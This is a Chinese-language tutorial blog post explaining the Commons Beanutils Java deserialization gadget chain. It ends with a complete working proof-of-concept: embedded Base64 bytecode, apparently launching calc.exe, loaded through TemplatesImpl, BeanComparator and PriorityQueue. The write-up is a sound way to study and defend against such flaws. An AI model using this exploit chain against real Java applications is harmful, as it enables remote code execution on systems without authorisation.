Java篇之Commons Beanutils

Commons Beanutils

前面我们讲完了cc链,接下来我们就开始cb链了,也就是Commons Beanutils,还好它只有一条链子,也要用到我们前面介绍过的java.util.PriorityQueue

上一篇文章中我们已经介绍了PriorityQueue这个类了,它是一个优先队列,在反序列化这个对象之后,为了保证队列的顺序,它会进行重新排序,在重新排序的过程中会调用Comparator.compare() 方法进行大小比较

JavaBean

在进入正题之前,我们先来看看Java中的JavaBean类是什么;JavaBean是一种符合命名规范的class,它需要符合下列要求:

  1. 若干个属性都是private类型
  2. 并且这些属性都有public类型的getset方法
  3. 并且命名要符合规范,符合骆驼式命名法,比如说属性名为abc,那么get方法为public Type getAbc()set方法为public void setAbc(Type value)

那么这种class就被称为JavaBean,其实也就是规范写法的类,比如说举个例子:

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public class People {
private String name = "Arsene.Tang";
private int age = 18;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge(){
return age;
}
public void setAge(int age){
this.age = age;
}
}

这就是一个很简单的JavaBean

而在commons-beanutils中就提供了一种静态方法,可以让使用者直接调用到任意JavaBean对象中的getter方法,这个方法属实就很危险,它就是PropertyUtils.getProperty,用法也很简单,只有两个参数,前面是JavaBean对象,后面是想要获取的方法名,比如说:PropertyUtils.getProperty(people,"name"),看看完整的代码:

image.png

这样就成功调用到了people对象的getName()getAge()方法

并且PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取,这样就可以很方便的调用任意对象的getter方法,适用于在不确定JavaBean是哪个类对象时使用

利用链分析

我们在Java动态加载字节码中讲到了用TemplatesImpl类动态加载,一层一层的往上,推到了调用newTransformer()方法,然后慢慢往下调最终调用defineClass()加载字节码;其实在newTransformer()方法之前,还有一个方法可以调用到newTransformer()方法,而且它也是public类型,它就是getOutputProperties()方法,看看源码吧:

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public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

它也是一个getter方法,那我们自然就有一个思路了,我们能不能通过PropertyUtils.getProperty方法调用这个getter方法,最后成功加载字节码呢?只要能加载字节码我们就能执行任意命令了

首先,我们得先找到一个java.util.Comparator对象,在它的compare()方法中调用PropertyUtils.getProperty方法加载字节码,因为上篇文章中我们讲到了反序列化PriorityQueue对象之后,通过一系列的调用,最终调用到comparator.compare()

而这个对象就是org.apache.commons.beanutils.BeanComparator,存在于commons-beanutils包中,我们看看它的compare方法:

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public int compare( final T o1, final T o2 ) {
if ( property == null ) {
// compare the actual objects
return internalCompare( o1, o2 );
}
try {
final Object value1 = PropertyUtils.getProperty( o1, property );
final Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
catch ( final IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( final InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( final NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}
}

很完美,里面正好就有PropertyUtils.getProperty,其实BeanComparator类是commons-beanutils用来比较两个JavaBean是否相等的类,它实现了java.util.Comparator接口,自然就会有compare方法;这个方法传入两个对象,如果this.property为空,则直接比较这两个对象;如果this.property不为空,则用PropertyUtils.getProperty分别取这两个对象的this.property属性,比较属性的值,不管怎么说,它就可以调用getter方法了,那么只要在o1这个位置上放我们构造好的TemplatesImpl对象,在property这个位置上放OutputProperties,那不就成功调用TemplatesImpl#getOutputProperties()方法了?

其实这里跟上一篇文章结合的是非常紧密的,如果你感觉有点昏建议回去复习复习哦

构造利用链

最开始还是创建TemplateImpl对象:

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byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "Arsene.Tang");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后实例化BeanComparator,这里先不设置property,防止报错,后面再用反射来操作:

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BeanComparator comparator = new BeanComparator();

然后就是创建我们前面讲过的优先队列PriorityQueue,把这个comparator放进去:

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Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);

同样,还是先添加两个无害的对象1进去,防止出问题,因为我们刚开始时并没有设置property,当 this.property为空时,相当于就是直接比较这两个对象,对这两个1进行排序,然后最后才把我们恶意的outputPropertiesTemplateImpl设置进去,其实queue里面的第二个元素也不一定要是obj,随便一个对象都行,有一个TemplateImpl对象就够了

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setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

所以说最后完整POC如下:

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import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.beanutils.BeanComparator;

public class CommonsBeanutils1_1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "Arsene.Tang");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

image.png

成功弹出计算器,下一篇文章来介绍用这条cb链来打shiro

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